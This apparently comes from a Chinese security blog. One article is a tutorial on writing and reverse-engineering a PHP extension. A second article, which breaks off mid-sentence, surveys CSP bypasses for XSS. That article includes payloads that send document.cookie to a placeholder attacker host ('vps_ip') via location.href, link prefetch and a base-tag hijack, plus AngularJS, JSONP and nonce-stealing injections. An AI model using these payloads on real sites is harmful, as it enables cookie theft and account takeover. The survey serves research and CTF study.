Articles in the category of 安全研究

安全研究

前言

国赛pmarkdown做自闭了,逆向so找到了存在漏洞的自定义函数,却不知道php拓展so的调用流程。导致不知道如何触发SSRF。在此对php拓展做一个学习。除使用IDA外,其他皆在虚拟机中完成

搭建环境

肯定需要安装php的规定来开发拓展,我们就使用php自带的拓展骨架来开发,然后对骨架进行更改就可以了
全在虚拟机里操作

下载php源码

mkdir php-extension
cd php-extension
# 需下载release 的版本,否者没有ext_skel这个文件
wget https://www.php.net/distributions/php-7.2.20.tar.gz
# 下载可能会很慢,可以用✈️
cd php-7.2.20/ext
./ext_skel --extname=evoA

图片.png
此时当前文件夹会生成一个evoA的文件夹

cd evoA
ls

config.m4   CREDITS  evoA.php      php_evoA.h
config.w32  evoA.c   EXPERIMENTAL  tests/

安装(本地需要已经有php环境)

/usr/local/php/bin/phpize
./configure --with-php-config=/usr/local/php/bin/php-config
make
make install

报了个错。。。
error: unknown type name ‘zend_string’
本地php环境是5的,如果编译php7需要升级到php7
apt install php && apt install php-dev升级一下
然后重复上面的步骤
make install完成后会输出so文件的绝对路径

添加拓展

vim /usr/local/php/etc/php.ini

// 添加扩展

extension = "/You-php-ext-Dir/evoA.so"

// 重启php-fpm
/etc/init.d/php-fpm restart
# 在php-7.2.20/ext/evoA下
php -d enable_dl=On evoA.php

如果输出successful,则代表拓展安装成功。接下来可以开始写拓展的功能了

第一个拓展

接下来开始做我们的第一个php拓展,功能只要输出一行字符串可以

编辑evoA.c 文件
在文件中找到下面的代码

const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};

修改为

const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE(evoA, NULL)
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};

中间添加的的 PHP_FE(evoA, NULL)可以理解为函数声明,声明我将要创建一个自定义函数,函数名为evoA
然后定义自定义函数。在文件空白处写

PHP_FUNCTION(evoA){
    php_printf("This is evoA");
    RETURN_TRUE;
}

PHP_FUNCTION是一个宏,参数evoA是我们的函数名,下面的php_printf函数功能是在php中输出内容。RETURN_TRUE也是一个宏,代表这个函数在php中返回值为True

保存后重新编译

./configure --enable-evoA
make
make install
# 没有报错就说明编译安装成功
# 运行一下

evoA@debian ~/p/p/e/evoA> php -d enable_dl=On -r "dl('evoA.so');evoA();"
This is evoA⏎             

# 成功

如果我们想把数据传递给返回值该怎么办
可以这样

PHP_FUNCTION(evoA)
{
    zend_string *strg;
    strg = strpprintf(0, "This is evoA");
    RETURN_STR(strg);
}

拓展运行流程

在evoA.c中,有默认存在的4个函数。分别是

PHP_MINIT_FUNCTION
PHP_MSHUTDOWN_FUNCTION
PHP_RINIT_FUNCTION
PHP_RSHUTDOWN_FUNCTION

这四个函数会在拓展的生命周期中被自动调用

PHP_MINIT_FUNCTION                    #拓展初始化时
PHP_MSHUTDOWN_FUNCTION            #拓展卸载时
PHP_RINIT_FUNCTION                    #一个请求到来时
PHP_RSHUTDOWN_FUNCTION            #一个请求结束时

在php服务启动的时候,拓展会被初始化,此后拓展再也不会被初始化,所以PHP_MINIT_FUNCTION函数在整个生命流程只会执行一次,而PHP_RINIT_FUNCTION函数和PHP_RSHUTDOWN_FUNCTION函数在每一次请求来临时都会执行一次。
对于php如何加载注册拓展,下面这篇文章讲的比较好。

https://www.jianshu.com/p/8beeb1d482d9
把文章内容总结一些关键的
大概总结下流程

  1. 扩展会提供一个 get_module(void)的方法拿到扩展的 zend_module_entry 结构体的定义
  2. 扩展被编译成so文件后,在php.ini文件中配置 xxx.so, 表示加载扩展
  3. php 启动的时候会读php.ini 文件,并做解析

4.在linux下 通过 dlopen()打开扩展的xxx.so库文件

  1. 通过系统的 dlsym()获取动态库中get_module()函数的地址,执行每个扩展的get_module方法拿到 zend_module_entry 结构体
  2. 把zend_module_entry 结构体注册到php的 extension_lists 扩展列表中
  3. 在php的生生命周期中执行各个扩展定义的PHP_MINIT

其中PHP_MINIT_FUNCTION 是php启动的时候加载扩展的时候会调用的函数 , 这个宏展开后其实真的就是定义了一个这样的C函数
zm_startup_##module(...){...}

同理,PHP_MSHUTDOWN_FUNCTION宏展开后为
zm_shutdown_##module(...){...}

PHP_RINIT_FUNCTION宏展开后
zm_activate_##module(...){...}

PHP_RSHUTDOWN_FUNCTION宏展开后
zm_deactivate_##module(...){...}

module就是模块名,比如我的模块是evoA

RE

为了证实上面的结论,接下来逆向一下我的so文件
为了验证,我在我的c文件的上面四个函数中分别加了一句php_printf("this is xxxx") 如下
evoA.c

/*
  +----------------------------------------------------------------------+
  | PHP Version 7                                                        |
  +----------------------------------------------------------------------+
  | Copyright (c) 1997-2018 The PHP Group                                |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | http://www.php.net/license/3_01.txt                                  |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author:                                                              |
  +----------------------------------------------------------------------+
*/

/* $Id$ */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_evoA.h"

/* If you declare any globals in php_evoA.h uncomment this:
ZEND_DECLARE_MODULE_GLOBALS(evoA)
*/

/* True global resources - no need for thread safety here */
static int le_evoA;

/* {{{ PHP_INI
 */
/* Remove comments and fill if you need to have entries in php.ini
PHP_INI_BEGIN()
    STD_PHP_INI_ENTRY("evoA.global_value",      "42", PHP_INI_ALL, OnUpdateLong, global_value, zend_evoA_globals, evoA_globals)
    STD_PHP_INI_ENTRY("evoA.global_string", "foobar", PHP_INI_ALL, OnUpdateString, global_string, zend_evoA_globals, evoA_globals)
PHP_INI_END()
*/
/* }}} */

/* Remove the following function when you have successfully modified config.m4
   so that your module can be compiled into PHP, it exists only for testing
   purposes. */

/* Every user-visible function in PHP should document itself in the source */
/* {{{ proto string confirm_evoA_compiled(string arg)
   Return a string to confirm that the module is compiled in */
PHP_FUNCTION(confirm_evoA_compiled)
{
    char *arg = NULL;
    size_t arg_len, len;
    zend_string *strg;

    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
        return;
    }

    strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "evoA", arg);

    RETURN_STR(strg);
}
/* }}} */
/* The previous line is meant for vim and emacs, so it can correctly fold and
   unfold functions in source code. See the corresponding marks just before
   function definition, where the functions purpose is also documented. Please
   follow this convention for the convenience of others editing your code.
*/
PHP_FUNCTION(evoA){
    php_printf("This is evoA");
    RETURN_TRUE;
}

/* {{{ php_evoA_init_globals
 */
/* Uncomment this function if you have INI entries
static void php_evoA_init_globals(zend_evoA_globals *evoA_globals)
{
    evoA_globals->global_value = 0;
    evoA_globals->global_string = NULL;
}
*/
/* }}} */

/* {{{ PHP_MINIT_FUNCTION
 */
PHP_MINIT_FUNCTION(evoA)
{
    /* If you have INI entries, uncomment these lines
    REGISTER_INI_ENTRIES();
    */
    php_printf("This is PHP_MINIT_FUNCTION");//这是我加的
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MSHUTDOWN_FUNCTION
 */
PHP_MSHUTDOWN_FUNCTION(evoA)
{
    /* uncomment this line if you have INI entries
    UNREGISTER_INI_ENTRIES();
    */
    php_printf("This is PHP_MSHUTDOWN_FUNCTION");//这是我加的
    return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request start */
/* {{{ PHP_RINIT_FUNCTION
 */
PHP_RINIT_FUNCTION(evoA)
{
#if defined(COMPILE_DL_EVOA) && defined(ZTS)
    ZEND_TSRMLS_CACHE_UPDATE();
#endif
    php_printf("This is PHP_RINIT_FUNCTION");//这是我加的
    return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request end */
/* {{{ PHP_RSHUTDOWN_FUNCTION
 */
PHP_RSHUTDOWN_FUNCTION(evoA)
{
    php_printf("PHP_RSHUTDOWN_FUNCTION");//这是我加的
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
 */
PHP_MINFO_FUNCTION(evoA)
{
    php_info_print_table_start();
    php_info_print_table_header(2, "evoA support", "enabled");
    php_info_print_table_end();

    /* Remove comments if you have entries in php.ini
    DISPLAY_INI_ENTRIES();
    */
}
/* }}} */

/* {{{ evoA_functions[]
 *
 * Every user visible function must have an entry in evoA_functions[].
 */
const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE(evoA, NULL)
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};
/* }}} */

/* {{{ evoA_module_entry
 */
zend_module_entry evoA_module_entry = {
    STANDARD_MODULE_HEADER,
    "evoA",
    evoA_functions,
    PHP_MINIT(evoA),
    PHP_MSHUTDOWN(evoA),
    PHP_RINIT(evoA),        /* Replace with NULL if there's nothing to do at request start */
    PHP_RSHUTDOWN(evoA),    /* Replace with NULL if there's nothing to do at request end */
    PHP_MINFO(evoA),
    PHP_EVOA_VERSION,
    STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_EVOA
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(evoA)
#endif

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 * vim600: noet sw=4 ts=4 fdm=marker
 * vim<600: noet sw=4 ts=4
 */

重新编译安装 在当前目录module文件夹找到evoA.so

扔进ida
图片.png
在左侧的Function 列表里,找到了上诉函数
f5大法好,验证一下
图片.png
图片.png
图片.png
图片.png
需要注意的是,我们自定义的evoA函数,宏展开后,变成了zif_evoA函数
图片.png
所以得到结论,自定义函数xxx宏展开后的函数名为zif_xxx
之后逆向so文件,就知道了php拓展一个完整的调用规则,有4个函数是会被自动调用的,自定义的函数一般是在php文件引用的时候才会调用。当然也可以在4个自动调用的函数中调用自定义函数。

速记

zend_function_entry c语言的结构体,里面有自定义函数的函数名
zend_string 结构体,代表了php的字符串结构

PHP_FUNCTION 定义自定义函数的宏,参数为自定义函数名
php_printf 功能为php中输出的函数,参数为输出内容
RETURN_TRUE 宏,有返回值且返回值为bool 真

RETURN_STR 宏,有返回值且返回类型为字符串
PHP_MINIT_FUNCTION #拓展初始化时调用 宏展开后为zm_startup_##module
PHP_MSHUTDOWN_FUNCTION #拓展卸载时调用 宏展开后为zm_shutdown_##module
PHP_RINIT_FUNCTION #一个请求到来时调用 宏展开后为zm_activate_##module
PHP_RSHUTDOWN_FUNCTION #一个请求结束时调用 宏展开后为zm_deactivate_##module
自定义函数xxx宏展开后的函数名为zif_xxx

- Read More -
安全研究

CSP简介

内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。
当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。
CSP的具体介绍可以看看手册(内容安全策略)[[https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP]](https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP)

CSP的绕过

CSP的绕过从CSP的诞生开始就一直被前端的安全研究人员所热衷,本文总结一些我了解到的CSP的绕过方式,若有不足,敬请批评补充

location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用
当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

location.href = "vps_ip:xxxx?"+document.cookie

有人跟我说可以跳过去再跳回来,但是这样不是会死循环一直跳来跳去吗2333333
利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

link标签导致的绕过

这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了
因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。
所以我们可以通过此标签将数据带外

<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

当然这个是我们写死的标签,如何把数据带外?

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

这样就可以把cookie带外了
利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

使用Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效
A页面:

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

图片.png
setTimeout是为了等待iframe加载完成
利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞
  2. 我们需要的数据在存在CSP保护的页面

用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章(Hackmd XSS)[[https://paper.seebug.org/855/]](https://paper.seebug.org/855/)
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn服务商列表
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
除了低版本angular js的模板注入,还有许多库可以绕过CSP
下面引用()[https://www.jianshu.com/p/f1de775bc43e]
比如Jquery-mobile库,如果CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>  

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
利用条件:

  1. CDN服务商存在某些低版本的js库
  2. 此CDN服务商在CSP白名单中
  3. XSS页面可以新建标签

站点可控静态资源绕过

给一个绕过codimd的(实例)[[https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md]](https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md)
案例中codimd的CSP中使用了www.google-analytics.com
而www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
图片.png

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

图片.png

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:

  1. 站点存在可控静态资源
  2. 站点在CSP白名单中
  3. 可以新建script标签

站点可控JSONP绕过

JSONP的详细介绍可以看看我之前的一篇文章https://xz.aliyun.com/t/4470
大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析
以ins'hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com

Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去非常天衣无缝,但是google站点存在了用户可控jsonp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

图片.png
配合注释符,我们即可执行任意js
下面是一些存在用户可控资源或者jsonp比较常用站点的github项目
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
利用条件:

  1. 站点存在可控Jsonp
  2. 站点在CSP白名单中
  3. 可以新建script标签

Base-uri绕过

第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解https://blog.cal1.cn/post/RCTF 2018 rBlog writeup
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置baseuri,就可以使用标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是性对base标签中指定的url的相对路径
exp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

图片.png
图片.png
注意:如果页面的script-src不是采用的nonce而是self或者站点,则不能使用此方法,因为vps不在csp白名单内

利用条件:

  1. script标签使用nonce
  2. 没有额外设置base-uri
  3. xss页面可以新建标签

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
  //do some thing
</script>

如果我们输入 http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1) 即可xss
这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第四行的<script会变成一个属性,值为空,之后的nonce='xxxxx'会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scrip
图片.png

但是在chrome中,虽然第二个